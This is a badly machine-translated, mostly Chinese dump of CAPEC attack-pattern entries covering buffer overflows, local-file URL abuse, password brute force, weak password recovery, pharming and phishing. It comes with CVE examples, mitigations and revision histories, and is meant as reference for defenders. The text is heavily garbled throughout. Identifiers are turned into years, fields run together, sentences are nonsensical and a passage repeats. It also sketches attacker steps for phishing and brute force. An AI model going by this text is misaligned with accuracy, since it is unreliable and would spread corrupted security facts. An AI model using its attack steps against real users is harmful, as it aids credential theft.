基于内容的缓冲区溢出数据文件是无处不在的。他们是用来存储从文件内容媒体和重要的计算机设置。每个文件都有一个固有的格式通常包括特殊的信息,如文件长度、媒体类型,字体是黑体,所有直接编码的数据文件。这样的攻击向量对数据文件很简单:混乱的数据文件,等待一些毫无戒心的用户打开它。某些文件是非常简单的和其他复杂的二元结构和数值数据嵌入到他们。有时,简单的动作在十六进制编辑器中打开一个复杂的文件和调整几个字节足以引起的(毫无戒心的)项目消耗玉石俱焚的文件。真正有趣的从攻击者的角度来看是格式化数据file-embedded毒丸,病毒被激活代码。一个很好的例子涉及的Winamp程序过于长IDv3标记会导致缓冲区溢出。头的MP3文件,有一个位置可以放置一个正常的文本字符串。这叫做IDv3标签,如果过于长标签供应,Winamp将遭受一个缓冲区溢出。 This could be used by an attacker to construct malicious music files that attack the computer once they are opened in Winamp. Access right to the symbolic link: When a symlink is created there are no rights associated with it (this why you read them with rights lrwxrwxrwx). So everybody can modify them even if the owner of the Symlink is root and if the user changing the Symbolic link has no right on the link target file. The relevant rights are on the linked target file. To prevent someone from modifying the symlink in the first place, the directory containing it should have limited access rights. 资源指向的符号链接(例如,文件、目录等)。 缓冲区溢出的攻击者。 当函数返回控制主程序时,它跳的返回地址部分堆栈框架。不幸的是返回地址可能被覆盖的缓冲区溢出和地址可能包含调用一个特权命令或恶意代码。 最常见的是远程代码执行。 120年 有针对性的 285年 二次 302年 有针对性的 118年 有针对性的 119年 有针对性的 74年 有针对性的 20. 有针对性的 680年 有针对性的 697年 有针对性的 不愿相信 渗透 剥削 所有 所有 所有 所有 C c++ g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE -缓冲错误 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致改变名称和描述 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 缓冲区溢出攻击目标不当或缺失的界限检查缓冲操作,通常由输入注射由攻击者。因此,攻击者可以写过去在内存中分配缓冲区的边界地区,可能导致程序崩溃或重定向的执行根据攻击者的选择。 攻击者识别目标的缓冲区。缓冲区域分配在堆栈上或堆,和攻击的确切性质取决于缓冲区的位置 接下来,攻击者识别注射向量提供过度目标缓冲区的内容。 攻击者要注入的工艺内容。如果目的是简单地导致软件崩溃,内容只需要包含一个过度数量的随机数据。如果目的是利用溢出执行任意代码,攻击者将工艺组不仅溢出目标缓冲区的内容,但在这样一种方式,覆盖返回地址被替换为一个攻击者选择的指向代码注入攻击者。 攻击者注入到目标软件的内容。 在成功开发,系统崩溃或控制程序的返回给攻击者选择的位置。这可能导致执行任意代码或升级的特权,根据开发的目标。 有针对性的软件执行缓冲区操作。 有针对性的软件上执行范围检查缓冲区操作不当。 攻击者有能力影响的输入缓冲区操作。 非常高的 注射 分析 最简单的例子是一个应用程序,该应用程序读取来自用户的输入并将其存储在一个内部缓冲区,但不检查输入数据的大小小于或等于缓冲区的大小。如果用户输入过多的数据长度,缓冲区溢出可能导致应用程序崩溃,或者更糟,让用户造成注入代码的执行。 许多web服务器执行的安全web应用程序通过使用过滤器插件。一个例子是SiteMinder插件用于身份验证。溢出的这样一个插件,可能通过一个长URL或重定向参数,不仅可以让攻击者绕过安检也目标web服务器上执行任意代码在用户的上下文中运行的web服务器进程。 低:在大多数情况下,一个缓冲区溢出不需要高级技能超出了能力注意到一个输入变量溢出等等内容。高:在直接溢出的情况下,动机是将程序的流程或应用程序根据攻击者的投标,需要高水平的技能。这可能涉及到目标系统的详细知识架构和内核。 没有:检测和利用缓冲区溢出不需要任何资源以外的知识和访问目标系统。 攻击者发送在公然长输入变量置于他的控制之下。如果目标系统或应用程序处理它优雅,攻击变得困难。然而,一个错误条件或系统崩溃点成功开发的可能性很高。 的情况下攻击是针对一个特定的系统或应用程序,如一个操作系统或一个web服务器,攻击者可以参考体系架构和设计文档找出准确的注入和剥削。 利用缓冲区溢出攻击和重定向执行根据攻击者的投标是相当难以检测。攻击的唯一目的在于降低系统之前通常是接二连三的长期投入,毫无意义。在这两种情况下,攻击者很可能会采取一些随意的尝试将系统事件日志记录,如果他们存在。 缓冲区溢出攻击混淆本身相当困难。相当先进的技术,然而,存在ofuscate载荷,为了绕过一个入侵检测系统或过滤,在应用程序或应用程序通过防火墙的一些种类。 使用一种语言或编译器执行自动范围检查。 使用安全功能不容易缓冲区溢出。 如果你必须使用危险的功能,确保你边界检查。 基于编译器的金丝雀StackGuard等机制,ProPolice和Microsoft Visual Studio / GS标志。除非这提供了自动范围检查,它不是一个完整的解决方案。 使用操作系统的预防功能。不是一个完整的解决方案。 利用源代码静态分析工具来识别潜在的缓冲区溢位的弱点软件。 拒绝服务 运行任意代码 特权升级 每个程序或应用程序设计过程的一些输入收到用户或另一个系统。因为程序信任用户控制输入缓冲区溢出比比皆是。缓冲区是一个地区的分配的内存存储特定的数据值的目的。这些环境变量,user-suppplied输入或临时抓空间。这些区域分配在堆栈(静态分配)或堆(动态分配)。虽然确切的有效载荷来利用缓冲区溢出的堆栈或堆上分配不同,一般的技术是东西更多的数据比预期的输入变量。管理环境,如Java语言或. net平台执行严格的类型和边界检查。这意味着在一个缓冲区溢出导致系统错误。注意,这个保护不让应用程序安全;它使开发溢出条件更加困难比umanaged语言编写的应用程序,如C和c++。 For example, the Structured Exception Handling mechanism technically allows an application to perform certain actions before the process is shut down. In case of a buffer overflow, this can be used to close sensitive files or disable certain functionality. However, it is possible to abuse the SEH mechanism as well and execute a successful buffer overflow exploit; only the effort and technical knowledge required are far greater than average. Therefore, it still remains the developer's and designer's prerogative to design a system in such a way that no overflow conditions exist. 用户可控的输入。通常,任何输入,用户可以控制很容易剥削溢出。 恶意的内容,比如公开长输入字符串,系统shellcode或命令,旨在引起系统崩溃和拒绝服务,或升级特权或执行代码,导致信息披露或系统妥协。 的输入缓冲区分配在内存中进行有效负载。 拒绝服务,升级特权,执行任意代码,包括系统命令和低级的汇编代码。 120年 有针对性的 119年 二次 19 二次 680年 有针对性的 cve - 2007 - 2139 多个基于堆栈缓冲区溢出在阳光下RPC服务CA(以前计算机协会)BrightStor ARCserve媒体服务器,如用于BrightStor ARCserve备份9.01到11.5 SP2, BrightStor企业10.5备份,服务器保护套件2,和商业保护套件2,允许远程攻击者通过畸形RPC字符串执行任意代码。 cve - 2007 - 1910 在wwlib缓冲区溢出。dll在微软Word 2007允许远程攻击者造成拒绝服务(应用程序崩溃),并可能通过一个精心制作的文档执行任意代码 8 更抽象 9 更抽象 10 更抽象 24 偶尔之前 46 更抽象 47 更抽象 所有用户可控的输入必须严格执行验证的长度和语义检查 所有异常情况(如ArrayIndexOutOfBounds)优雅地在应用程序必须通过使用可用的异常处理机制。 所有应用程序和流程必须与最小特权运行必要,避免升级特权的一个成功的利用。 不愿相信 深度防御 没有安全 确保不违反内存区域的边界 从不使用用户输入的指令任何内部组件 渗透 剥削 所有 所有 AJAX C c++ PERL PHP Ruby Visual Basic 其他 Chiradeep b Chhaya 2007-04-30 初稿 肖恩·巴纳姆 Cigital公司 2007-05-02 审查和修改 这种类型的攻击利用的使用标签或变量从一个格式化的配置数据导致缓冲区溢出。攻击者工艺品恶意的HTML页面或配置文件,包括超大号的字符串,因此导致溢出。 1 -攻击者修改一个标签或变量从一个格式化的配置数据。例如她改变一个超大号的字符串。 2 -目标程序使用数据被攻击者事先边界检查。因此,缓冲区溢出发生和远程代码执行在最坏的情况下也可能步希腊后尘。 目标程序消耗用户可控数据形式的标签或变量。 目标程序不执行足够的边界检查。 注射 攻击的例子:溢出变量和标记MidiPlug缓冲区溢位的弱点存在于雅马哈MidiPlug可以通过访问文本变量中发现一个嵌入标记。 cve - 1999 - 0946 攻击的例子:溢出变量和标签在进出口进出口缓冲区溢出允许本地用户获得根权限通过提供一个长:包括:选择在forward格式文件。 cve - 1999 - 0971 低:攻击者可以简单地由一个长字符串插入溢出缓冲区attacker-modifiable注入向量。结果可以是一个DoS。高:利用缓冲区溢出堆栈注入恶意代码的软件系统,甚至堆可能需要更高的技术水平。 攻击者可以修改变量和目标程序公开的标签。 攻击者可以通过输入自动探测注入脚本和自动化工具。 使用一种语言或编译器执行自动范围检查。 使用一个抽象库抽象危险的api。不是一个完整的解决方案。 基于编译器的金丝雀StackGuard等机制,ProPolice和Microsoft Visual Studio / GS标志。除非这提供了自动范围检查,它不是一个完整的解决方案。 使用操作系统的预防功能。不是一个完整的解决方案。 不相信从用户输入数据。验证所有的用户输入。 拒绝服务 运行任意代码 信息泄漏 数据修改 基于内容的缓冲区溢出数据文件是无处不在的。他们是用来存储从文件内容媒体和重要的计算机设置。每个文件都有一个固有的格式通常包括特殊的信息,如文件长度、媒体类型,字体是黑体,所有直接编码的数据文件。这样的攻击向量对数据文件很简单:混乱的数据文件,等待一些毫无戒心的用户打开它。某些文件是非常简单的和其他复杂的二元结构和数值数据嵌入到他们。有时,简单的动作在十六进制编辑器中打开一个复杂的文件和调整几个字节足以引起的(毫无戒心的)项目消耗玉石俱焚的文件。真正有趣的从攻击者的角度来看是格式化数据file-embedded毒丸,病毒被激活代码。一个很好的例子涉及的Winamp程序过于长IDv3标记会导致缓冲区溢出。头的MP3文件,有一个位置可以放置一个正常的文本字符串。这叫做IDv3标签,如果过于长标签供应,Winamp将遭受一个缓冲区溢出。 This could be used by an attacker to construct malicious music files that attack the computer once they are opened in Winamp. 变量或标签暴露给用户。 变量的新值或标记(可以是一个超大号的字符串)。 当函数返回控制主程序时,它跳的返回地址部分堆栈框架。不幸的是返回地址可能被覆盖的缓冲区溢出和地址可能包含调用一个特权命令或恶意代码。 最常见的是远程代码执行。 120年 有针对性的 118年 有针对性的 119年 有针对性的 74年 有针对性的 20. 有针对性的 680年 有针对性的 733年 二次 697年 有针对性的 One hundred. 更详细的 8 类似的 10 类似的 不愿相信 渗透 剥削 所有 所有 所有 所有 C c++ g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE -缓冲错误 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 Eric Dalci Cigital公司 2007-02-13 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 在这种攻击中,攻击者的目标软件是给定的输入知道期间将修改和扩展的大小处理。这种攻击依赖于目标软件未能预料到扩大数据可能超过一些内部限制,从而创建一个缓冲区溢出。 程序的考虑部分用户提供的数据可能扩大的计划。使用反汇编程序和其他逆向工程工具来指导搜索。 找到一个地方发生缓冲区溢出由于弦的新的扩展大小不正确占该项目。这也许可能发生当字符串复制到另一个大得足以容纳原始缓冲区,而不是扩大后的字符串。这可能会创建一个机会种植有效负载和重定向程序执行shellcode。 写缓冲区溢出利用。可利用的,“溢出”的数量(如扩大字符串长度之间的差异和原始字符串长度扩大之前)需要足以允许溢出堆栈返回指针(在堆栈溢出的情况下),不会造成堆栈腐败会崩溃程序执行之前shellcode。堆溢出将更加困难,需要攻击者获得更多的幸运,也许有机会到覆盖的一些会计信息存储为使用malloc()的一部分。 程序扩展的一个参数传递给一个函数的输入控制的用户,但是后面的函数利用参数错误地认为最初的扩张,而不是扩大参数的大小。 扩展参数在上下文中使用缓冲区溢出可能成为可能由于错误的理解参数的大小(即认为它比真的是小)。 媒介 注射 攻击的例子:FTP水珠()通配符匹配操作符()函数在FTP服务器受到攻击的结果是不正确的调整。这是一个ftpd水珠()扩张堆溢出漏洞列表。ftp守护进程包含一个基于堆的缓冲区溢出的情况。溢出发生在命令发出一个参数列表扩展成一个超大号的字符串被一团处理后()。这个缓冲区溢出发生在动态分配的内存。它可能是攻击者可以利用这个漏洞和受影响的主机上执行任意代码。利用这一点,攻击者必须能够在目标主机上创建目录。通配符匹配操作符()函数用于速记符号扩展成完整的文件名。通过发送到FTP服务器请求包含一个波浪号(~)和其他通配符的路径名字符串,远程攻击者可以溢出缓冲区和FTP服务器上执行任意代码获得根权限。一旦处理请求,水珠()函数扩展了用户输入,这可能会超过预期的长度。 In order to exploit this vulnerability, the attacker must be able to create directories on the FTP server. From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. cve - 2001 - 0249 缓冲区溢出在通配符匹配操作符实现libc NetBSD-current 20050914之前,和NetBSD 2。* 3。*在20061203之前,因为使用的FTP守护进程,允许远程执行任意代码经过身份验证的用户通过一个长路径名扩张所导致的路径。一个内部缓冲区的限制计算是正确完成的。在字节缓冲区的大小是用作元素计数,即使缓冲区的元素是2字节长。长扩展路径名因此溢出缓冲区。 cve - 2006 - 6652 高:发现这个特定的缓冲区溢出可能不是微不足道的。同时,尤其是堆和栈建立缓冲区溢位需要大量的知识,如果预期目标是aribtrary代码执行。不仅,攻击者需要编写shell代码来完成他或她的目标,但攻击者还需要找到一种方法让程序执行跳转到种植shellcode。还需要有足够的空间有效载荷。所以不是每个缓冲区溢出是可利用的,甚至老练的攻击者。 访问程序源代码或二进制。如果程序是仅可在二进制反汇编程序和其他逆向工程工具将是有益的。 确保当参数扩展的代码,用于确定结果的假设参数的大小是精确的,并确保新尺寸的参数是可见的整个系统 特权升级 特权升级 拒绝服务 数据修改 多个操作问题时数据被一个函数,这个函数应该跟踪数据它正在做什么。这是只有一个简单的函数是“绿豆”数据。但当多个操作相同的数据,跟踪每个操作的影响变得更加困难。不正确的跟踪会导致大问题。如果操作改变字符串尤其如此。有许多共同操作的字符串将会改变字符串的大小。出现这个问题我们讨论如果代码执行的转换并不生活在调整缓冲区的字符串。 120年 有针对性的 119年 有针对性的 118年 有针对性的 130年 有针对性的 131年 有针对性的 74年 有针对性的 20. 二次 680年 有针对性的 697年 有针对性的 One hundred. 更详细的 渗透 剥削 所有 所有 所有 所有 C c++ g·霍格伦德和g·麦格劳。利用软件:如何打破代码。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 尤金Lebanidze Cigital公司 2007-02-26 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的名称、描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击依赖于客户端代码访问本地文件和资源而不是url。当客户端浏览器是期待一个URL字符串,而接收到请求的本地文件,在浏览器中执行可能发生的进程空间与本地文件浏览器的权威。攻击者可以将此请求的结果发送到本地文件到一个网站,他们控制。这种攻击可以用来窃取敏感的身份验证数据(本地或远程),或获得系统配置信息发动进一步攻击。 受害者的软件不能区分的位置和类型引用通过了客户端软件,如浏览器 API滥用 修改的资源 协议处理 J2EE应用程序通常使用. properties文件来存储配置信息包括JDBC连接LDAP连接字符串,代理信息,系统密码和其他元数据是有价值的,攻击者想要探测系统或绕过策略实施点。当这些文件存储在公开目录,允许公众阅读的用户,那么攻击者可以确定一个. properties文件的目录列表,只是在浏览器中加载其内容清单内容。一个标准的属性文件包含hibernate.connection冬眠。driver_class = org.postgresql。司机hibernate.connection。url = jdbc: postgresql: / / localhost / mydatabase hibernate.connection。用户名=用户名hibernate.connection。密码=密码hibernate.c3p0。hibernate.c3p0 min_size = 5。max_size = 20即使攻击者不能写这个文件,有大量的信息利用以获得进一步的访问。 媒介→攻击者识别已知的本地文件利用 实现:确保所有内容交付给客户是消毒与一个可接受的内容规范。 实现:确保所有的配置文件和资源时移除或保护促进代码投入生产。 设计:使用浏览器技术,不允许客户端脚本。 实现:对所有远程执行输入验证的内容。 实现:对所有远程执行输出验证的内容。 实现:在浏览器中禁用脚本语言Javascript等 信息泄漏 数据修改 ”攻击模式:本地文件名传递给函数,期望一个URL使用本地文件名与消费函数,期望一个URL。找到有趣的联系。”(霍格伦德和McGraw 04) 241年 有针对性的 706年 有针对性的 剥削 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 在这种攻击中,攻击者尝试所有可能的值为一个密码,直到他们成功。蛮力攻击,如果可行的计算上,总是会成功的,因为它会通过所有可能的密码使用的字母(小写字母,大写字母,数字,符号,等等)和密码的最大长度。系统将特别容易受到这种类型的攻击,如果没有一个适当的执行机制以保证密码由用户选定的强密码,遵守适当的密码策略。在实践中纯粹的蛮力攻击密码很少使用,除非怀疑是弱密码。其他密码破解方法存在更有效(如字典攻击,彩虹表等)。 决定应用程序/系统的密码策略 确定目标应用程序/系统的密码策略。 确定最小和最大允许密码长度。 env-All 确定的格式允许密码(是否需要或允许包含数字,特殊字符,等等)。 env-All 确定帐户锁定策略(严格的帐户锁定策略将防止暴力破解攻击)。 env-All 密码中使用的应用程序/系统 env-All 密码不是用于身份验证;然而,蛮干的其他保护机制也可能是可能的。 env-All 暴力破解密码 考虑到有限的空间可能的密码由密码策略决定在前面的步骤中,尝试所有可能的密码一个已知的用户ID,直到应用程序/系统授予访问权限。 手动或自动输入所有可能的密码通过应用程序/系统的接口。在大多数系统中,从最短和最简单的密码,因为大多数用户倾向于选择这样的密码如果允许这样做。 env-All 彩虹表执行离线字典攻击或攻击一个已知的密码散列。 env-All 弱密码允许,没有帐户锁定策略执行。 env-All 密码散列可以被攻击者。 env-All 帐户锁定后少量的身份验证失败的尝试。 env-All 攻击者决定正确的密码用户ID和获得访问应用程序或系统。 攻击者无法确定用户ID和获得正确的密码访问应用程序或系统。 攻击者锁账户而试图暴力破解它的密码。 大量的认证失败日志。 执行严格的帐户锁定策略。 执行强密码(有足够的长度和包含小写和大写字母,数字和特殊字符) 否认登录尝试来源产生太多的失败的尝试。注意,这可能会引起麻烦,许多用户可能有相同的“源”应用程序/系统而言(如很多用户在NAT设备)。 攻击者需要知道用户名的目标。 系统使用基于密码的身份验证身份验证机制的因素。 应用程序没有密码节流机制。一个好的密码节流机制将使它几乎不可能计算暴力破解密码,因为它可以锁定用户经过一定数量的错误尝试或介绍超时时间。这两个会使蛮力攻击不切实际。 媒介 蛮力 一个系统不执行一个强大的密码策略和用户选择五个字母小写英文字母组成的密码。系统没有实现任何密码节流机制。假设攻击者的长度不知道用户的密码,攻击者可以暴力破解这个密码在最大1 + 26 + 26 ^ 2 + 26 26 ^ ^ 3 + 4 + 26 ^ 5 = 1 + 2 + 676 + 17576 + 456976 + 11881376 = 12356631的尝试,这些尝试半平均(6178316)。使用现代硬件这攻击是微不足道的。如果攻击者假定用户密码也可以包含大写字母(区分大小写)或数字,比试验的数量会更大。攻击者的工作将最有可能是更容易,因为许多这样的选择容易被暴力破解密码的用户也可能使用一个单词,可以在字典里找到。因为有更少的有效英语单词包含五个字母超过12356631,攻击,英语词典中的每个条目会更快。 弱点存在于自动生成密码之前常规的邮差2.1.5导致生成只有大约五百万个不同的密码。这使它容易被暴力破解密码为所有用户决定让邮差自动生成密码。用户在注册过程中选择自己的密码不会受到影响(假设他们选择强密码)。 cve - 2004 - 1143 低:蛮力攻击是非常简单的。各种密码破解工具随处可见。 一个足够强大的计算机的工作有足够的CPU、RAM和高清。具体要求将取决于蛮力的大小和时间要求完成工作。一些蛮干的工作可能需要网格或分布式计算(例如挑战)。 系统检测到许多不正确的登录尝试。 试图欺骗的IP地址,这样看上去不像不正确的登录尝试都来自同一台计算机。 实现一个密码节流机制。这种机制应该考虑IP地址和登录用户的名称。 建立一个强大的密码政策,确保所有用户创建密码遵守它。或者为用户自动生成强密码。 密码需要回收,防止衰老,这是每隔一段时间必须选择一个新的密码。 特权升级 521年 有针对性的 262年 有针对性的 263年 有针对性的 257年 有针对性的 693年 有针对性的 16 更详细的 偶尔之前 70年 更详细的 偶尔之前 55 偶尔也会遵循 渗透 所有 所有 所有 所有 尤金Lebanidze Cigital公司 2007-02-26 肖恩·巴纳姆 Cigital公司 2007-03-01 审查和修订的内容 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的描述和相关的攻击模式 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 阿米特·塞提 Cigital公司。 2007-10-29 添加扩展攻击执行流 攻击者可能利用应用程序的功能帮助用户恢复他们忘记密码以获取到系统与原有的特权用户。一般密码恢复方案往往是软弱和不安全。他们中的大多数只使用一个安全的问题。例如,母亲的婚前姓往往是一个相当受欢迎的一个。不幸的是在许多情况下,这些信息不是很很难找到,特别是如果攻击者知道的合法用户。这些通用的安全问题也在许多应用程序中重用,从而使他们更加不安全。攻击者可以例如听到同事和银行代表在工作场所和提供他们的母亲的娘家姓验证目的。攻击者可以尝试登录到一个受害者的账户,点击“忘记密码”,很有可能会有安全问题提供母亲的马登的名字。弱密码恢复计划完全破坏了一个强大的密码方案的有效性。 理解密码恢复机制以及它是如何工作的。 找到一个疲弱的密码恢复机制和利用它。举例来说,一个弱点可能是一个标准的单一安全问题是使用一个简单的确定答案。 系统允许用户恢复他们的密码和访问回系统。 密码恢复机制设计或不可靠地实现。 密码恢复机制只依赖用户知道的东西并不是用户。 不需要第三方干预使用密码恢复机制。 媒介 蛮力 API滥用 注射 攻击者点击“忘记密码”,并提出了一个安全的问题。现在的问题是关于用户的第一条狗的名字。系统没有限制数量的努力提供狗的名字。攻击者通过100年最受欢迎的狗的名字的列表,找到正确的名字,从而得到重置密码和访问系统的能力。 phpBanner交换是一个PHP脚本(使用mySQL数据库),促进运行PHP和mySQL的横幅交流没有广泛的知识。发现了一个SQL注入系统的密码恢复模块,允许任意用户的密码恢复和接管他的帐户。问题是由于错误的输入phpBannerExchange卫生处理,具体用户的电子邮件地址,密码恢复要求的模块。所请求的电子邮件地址在resetpw密码恢复模块。php页面。,电子邮件地址验证以下正则表达式:如果(! eregi (" ^ [_a-z0-9 -) + (\ [_a-z0-9 -] +) * @ (a-z0-9 -) + (\ [a-z0-9 -] +) * (\ [A - z]{2,3})”美元,美元电子邮件)){实施中的缺陷eregi()允许通过额外的字符使用null字节\ 0。自从eregi()实现在C语言中,变量$电子邮件作为一个字符串作为字符串。所有字符后零字节将不会被咽喉的表达式。所以电子邮件地址可以提供包括特殊字符”“打破下面的SQL查询(它不会被拒绝的正则表达式,因为零字节技巧)。所以一个SQL注入成为可能:$ get_info = mysql_query (“select * from banneruser邮件=美元电子邮件”);这个查询将返回一个非零结果集虽然提供的电子邮件(攻击者的电子邮件)不是在数据库中。 Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system. cve - 2006 - 3013 低:蛮力攻击媒介:社会工程和更复杂的技术攻击。 蛮力攻击一个机器需要有足够的CPU、RAM和高清。 试验和错误(暴力)。 社会工程。 许多错误的尝试回答安全问题。 使用多种安全问题(如有三个,让用户正确回答两个)。让用户选择自己的安全问题或为他们提供选择的问题并不通用。 电子邮件的临时密码用户的注册电子邮件地址而不是让在线用户重置密码。 确保你的密码恢复功能不容易注射式攻击。 特权升级 522年 有针对性的 718年 有针对性的 渗透 所有 所有 所有 所有 http://www.redteam - pentesting.de/advisories/rt - sa - 2006 - 005. - txt 尤金Lebanidze Cigital公司 2007-02-26 肖恩·巴纳姆 Cigital公司 2007-03-01 审查和修订的内容 嫁接袭击发生在受害者骗到敏感数据输入到受信任的位置,如网上银行网站或交易平台。攻击者可以模仿这些所谓的信任站点和受害者指向他的网站,而不是原先预定的一个。嫁接不需要脚本注入或点击恶意链接成功的攻击。 攻击者建立了系统模拟一个可信的用户。这通常是一个网站,需要或处理敏感信息。 攻击者然后毒药目标网站的解析器。这是通过中毒DNS服务器,或本地主机文件,指导用户原来的网站 当受害人请求的URL网站,中毒记录直接受害者攻击者的系统,而不是原来的。 因为相同的原始网站的性质和攻击者控制,以及URL仍然是原来的,受害人信任网站,攻击者可以“农场”凭证或帐号等敏感信息。 脆弱的DNS软件或不当保护主机文件或路由器可以毒害 一个网站,处理敏感信息,但不使用安全连接和证书是有效的也容易嫁接 非常高的 欺骗 分析 修改的资源 网上银行网站要求用户提供用户ID和密码登录,但是不使用安全连接。攻击者可以设置类似的假网站,利用嫁接来收集这些信息从没有察觉的受害者。 介质:攻击者需要能够毒药或本地主机文件解析器- DNS条目或路由器条目指向一个可信的DNS服务器,为了成功进行嫁接的攻击。设置一个假网站,相同的目标,不需要特殊技能。 除了有足够的知识有针对性的网站已经结构化的方式来创建一个假的版本,不需要额外的资源。中毒的解析器需要知道一个可以利用的漏洞。 攻击者观察到目标网站使用安全连接交换敏感信息。如果不使用安全连接,用户无法区分原始和受害者假冒网站。 攻击者也可以指纹软件运行在目标系统(DNS服务器,路由器或主机)和寻找漏洞以毒药条目。 所有的敏感信息都必须处理在一个安全的连接。 已知的漏洞在DNS或路由器软件或操作系统必须尽快修补补丁已经发布和测试。 最终用户必须确保他们只提供敏感信息网站,他们相信,在一个安全的连接与一个有效的出具一个众所周知的证书颁发机构。 信息泄漏 嫁接的袭击发生在受害者提供敏感信息网站,不具备一个有效的证书从著名的证书颁发机构。因此,攻击者可以使用证书从一个随机的权威或可以不使用。从著名的使用有效证件证书颁发机构确保承载网站的URL匹配的IP地址是旨在解决,,这一事实证明了著名的权威。如果检测到不匹配,浏览器通知用户,不是一个有效的证书。当然,这取决于用户听从警告,这使得这样的攻击更加危险的用户不安全精明。嫁接是DNS软件或本地主机决议文件时可以中毒或路由器的可信赖的DNS服务器入口服务客户修改。DNS缓存中毒可以避免通过定期修补软件保持最新的防范漏洞和不接受DNS更新非验证来源。同样的,本地主机文件和路由器条目可以通过适当的访问控制和保护相关软件定期修补。 346年 有针对性的 247年 有针对性的 292年 有针对性的 cve - 2005 - 0877 Dnsmasq之前2.21允许远程攻击者通过答案毒药DNS缓存的查询并不由Dnsmasq。 cve - 2004 - 1754 DNS代理(DNSd)为多个网关赛门铁克安全产品允许远程攻击者通过恶意毒药DNS缓存DNS服务器查询响应包含权威或额外的记录。 不愿相信 促进隐私 使用的身份验证机制,在适当情况下,正确 正确使用著名的加密 侦察 客户机-服务器 SOA 所有 所有 所有 Chiradeep b Chhaya 2007-03-12 初稿 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修订的内容 钓鱼是一项社会工程技术,攻击者伪装成合法的实体的受害者可能会做生意,以提示用户揭示一些机密信息(经常身份验证凭证),稍后可以被攻击者使用。网络钓鱼是一种信息收集或“钓鱼”信息。 获取域名和证书恶搞合法网站 这个可选的步骤可以用来帮助攻击者冒充合法网站更加让人信服。攻击者可以使用同形异义字攻击说服用户,他们正在使用的合法网站。注意,此步骤不需要钓鱼攻击,和许多钓鱼攻击只是供应url包含一个IP地址,没有SSL证书。 可以获得一个域名,视觉上看起来类似于合法网站的域名。一个例子是www.paypaI.com和www.paypal.com(第一个包含一个资本,而不是小写字母L) env-Web 可以获得一个合法的新域名的SSL证书。 env-Web 网站可以获得许多类似于自己的域名。例如,公司example.com应该确保注册example.net, .org,。biz, info和等等。同样他们应该注册exarnple.com, examp1e.com, exampIe.com(并可能。net, .org的变化)。虽然这并不排除网络钓鱼的可能性,这使攻击者的工作困难因为容易可信的名字。 探索合法网站创建重复的 攻击者创建一个网站(可选在一个URL看起来类似于原始URL)相似的网站,他或她正在试图模仿。网站通常会有一个登录表单的受害者将他们的身份验证凭证。这里可以在一个主题不同。 使用搜索软件合法网站上复制的网页。 env-Web 手动保存副本所需的web页面从合法网站。 env-Web 创建新的web页面的合法网站看看感觉,但包含全新的内容。 env-Web 让用户输入敏感信息在攻击者的网站。 攻击者向受害者发送一封电子邮件,某种行动呼吁让用户点击链接包含在电子邮件(需要受害者攻击者的网站)并登录。关键是要让受害者认为电子邮件是来自一个合法的实体与受害者有业务,网站指出,电子邮件是合法网站的URL。行动呼吁将通常需要良好的合法和紧急从用户足够迅速的行动。 发送用户信息从一个欺骗收电子邮件地址,要求用户点击所包含的链接。 env-Web 地方钓鱼链接发布到在线论坛。 env-Web 攻击者提供的合法用户点击链接并输入所请求的信息。 合法用户意识到电子邮件是不合法的,或者攻击者的网站是不合法的,因此,不进入攻击者所要求的信息。 监控服务器日志的反向链接。钓鱼网站通常包括链接到“条款和条件”“隐私”和其他标准的合法网站的链接。用户的web浏览器通常会揭示出钓鱼网站上线头。自从URL可能无法直观地突出与合法的URL相比,一些程序性的反向链接整合日志文件可能需要确保从examp1e.com example.com脱颖而出,为例。 利用偷来的凭证登录合法网站 一旦通过网络钓鱼攻击者捕获一些敏感信息(登录凭证,信用卡信息等),攻击者可以利用这些信息。例如,攻击者可以使用受害者的登录凭证登录他们的银行账户和转账记账的选择。 使用另一个用户登录到合法站点提供的凭证 env-Web 使用人类的可核查的合法网站和最终用户之间共享秘密等提供的一个及格分数安全(现在是RSA安全)的一部分。这可以防止攻击者使用偷来的凭证。请注意,这并不防止中间人攻击,攻击者建立一个会话与合法网站,说服一个最终用户与他建立一个会话。攻击者然后记录和转发信息流动和最终用户之间的信任站点。这个安全控制是目前所使用的许多网上银行网站,包括美国银行(Bank of America)的网站。 